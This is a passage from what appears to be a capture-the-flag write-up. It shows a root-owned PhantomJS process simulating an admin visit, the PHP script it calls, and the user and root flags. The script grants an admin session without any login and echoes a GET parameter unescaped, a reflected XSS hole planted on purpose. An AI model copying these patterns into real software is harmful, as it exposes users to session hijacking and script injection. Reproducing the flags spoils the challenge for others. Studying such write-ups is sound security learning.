root 30134 0.0 6.7 1533828 68784 ? Rl 12:22 0:00 /usr/local/bin/phantomjs --ignore-ssl-errors=true /root/bin/tmp/43ol9pyD.js

This script uses PhantomJS to execute the JavaScript coming from the contact form in the context of a PHP script and is owned and executed by root. The script is running forever making a query each 10 seconds to the MySQL server to get some code to execute. The JavaScript is then URL-encoded and used as GET parameter for the script 573ba8e9bfd0abd3d69d8395db582a9e.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
session_start();
require "../init.php";

$user="admin";
$mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
$sql=$mysqli->prepare("SELECT id, mail, role FROM users WHERE username = ?");
$sql->bind_param("s", $user);
$sql->execute();
$sql->store_result();
$sql->bind_result($id,$mail,$role);
$sql->fetch();

$_SESSION['auth']=1;
$_SESSION['userid']=$id;
$_SESSION['mail']=$mail;
$_SESSION['role']=$role;
$_SESSION['username']=$user;
$cname="LANG";
$cvalue="EN_US";
$ctime=time()+(86400*90);
setcookie($cname,$cvalue,$ctime,"/");
$cname="SINCE";
$cvalue=time();
$ctime=time()+(86400*90);
setcookie($cname,$cvalue,$ctime,"/");
$cname="LIMIT";
$cvalue="10";
$ctime=time()+(86400*90);
setcookie($cname,$cvalue,$ctime,"/");
$cname="DOMAIN";
$cvalue="admin";
$ctime=time()+(86400*90);
setcookie($cname,$cvalue,$ctime,"/");

/*block code to get and show the XSS*/
$xss=$_GET['x'];
echo $xss;
/*end block*/
?>

This PHP script is used to retrieve informations about the user admin from the database, create the correct $_SESSION and update the cookies but actually we didn’t find any way to exploit it.

Flags

user: ac899bd46f7b014a369fbb60e53329bf

root: 892a1f4d018e5d382c4f5ee1b26717a4